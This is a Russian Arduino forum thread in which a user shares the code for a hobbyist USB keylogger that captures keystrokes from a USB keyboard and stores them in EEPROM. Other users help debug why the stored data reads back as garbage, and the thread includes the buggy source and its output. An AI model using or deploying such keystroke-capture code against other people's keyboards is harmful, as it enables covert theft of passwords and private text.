usb keylogger
- Войдите на сайт для отправки комментариев
Ср, 16/05/2018 - 11:12
задумка проста, слушаем юсб клавиатуру и пишем в еепром. Без записи в память в сериал все выводится нормально. При попытке чтения памяти выдает мусор, в чем причина?
// библа и идея отсюда: <a href="http://wiki.amperka.ru/projects:keylogger" title="http://wiki.amperka.ru/projects:keylogger" rel="nofollow">http://wiki.amperka.ru/projects:keylogger</a> #include <usbdrv.h> #include <EEPROM.h> //uint8_t usbRxBuf[USB_BUFSIZE]; //uint8_t FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE]; uint8_t CurWritePos=0,CurReadPos=0; uint8_t KeyData[8]; #define IN_SIZE 3 #define USB_BUFSIZE 11 #define FIFO_BUF_SIZE 10 int i; unsigned char val; unsigned char usbRxBuf[USB_BUFSIZE]; unsigned char FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE]; // массив символов для декодирования скан-кодов при не нажатой клавиши Shift unsigned char masskey[] = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./"; // массив символов для декодирования скан-кодов при зажатой клавиши Shift unsigned char masskeyShift[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?"; void setup(){ pinMode(2,INPUT); //USB d- pinMode(4,INPUT);// USB d+ / Serial.begin(9600); usbInit(); i = EEPROM[ 0 ]; while(i<0,i--){ EEPROM.get(i,val ); Serial.print (val); } } void loop() { if(CurWritePos!=CurReadPos){ i++; EEPROM[ 0 ] = i; printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE,i); // for (uint8_t n=0; n < 8; n++) { // KeyData[n] = FIFOBuf[CurReadPos*14+4+n]; // Serial.print (KeyData[n],HEX); // Serial.print (" "); //Serial.println (); CurReadPos++; if (CurReadPos>=FIFO_BUF_SIZE) CurReadPos = 0; } } void printResult(uchar *datakey, uchar len,int i) { bool shift = 0; // если во время очередного нажатия на клавишу // была нажата кнопка Shift if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20)) shift = 1; else shift = 0; // если 4 или 3 байт из массива данных пришёл не нулевой // значит нажата одна из клавиш if (*(datakey + 4) != 0) { // вызываем функцию печати 2-го символа printKey(*(datakey + 4), shift,i); } else if (*(datakey + 3) != 0) { // вызываем функцию печати 1-го символа printKey(*(datakey + 3), shift,i); } } void printKey(uchar key, bool shift,int i) { // если нажата одна из клавиш английского алфавита if (key >= 0x4 && key <= 0x27) { // если нажат Shift декодируем скан-коды как заглавные буквы if (shift == 1) { EEPROM.put(i,masskeyShift[key-4]); Serial.write(masskeyShift[key-4]); } else { // если нет декодируем скан-коды как строчные буквы EEPROM.put(i,masskey[key-4]); Serial.write(masskey[key-4]); } } else if (key == 0x28) { // если пришел скан-код клавиши Enter EEPROM.put(i,"Enter"); Serial.print("\r\n"); } else if (key == 0x2B) { // если пришел скан-код клавиши Tab EEPROM.put(i,"tab"); Serial.print("\t"); } else if (key == 0x2C) { // если пришел скан-код клавиши Space EEPROM.put(i,"Space"); Serial.print(" "); } else if (key >= 0x2d && key <= 0x38) { // если пришел сканд-код из знаков пунктуации if (shift == 1){ EEPROM.put(i,masskeyShift[key - 9]); Serial.write(masskeyShift[key - 9]);} else EEPROM.put(i,masskey[key - 9]); Serial.write(masskey[key - 9]); } else { EEPROM.put(i,"backspace"); if(key==42){Serial.print("backspace");} else { // если пришёл скан-код которого мы не знаем // печатаем его без декодирования EEPROM.put(i,key); Serial.print(key); } } }
В каком месте выдаётся мысор? в 29-ой строке? Или где?. Дамп мусора, пожалуйста, в студию. Кстати, раз уж Вы печатаете что-то в строке 29, неплохо бы после строки 26 напечатать значение i
Да, кстати, строка 27 как-то нипадецки вставляет. Хотя, работает, как задумывалось, спору нет :)))
про знак увидел, поменял, странно, что вообще работало
5649495550505051515211552535399545511556995722
при входных 987654321
да в 29, при попытке вывести сохраненные значения
добавил вывод
i=2 val=83 -"a"
i=1 val=83 - "пробел"
i=0 val=2
Ну а в итоге что? Заработало как надо?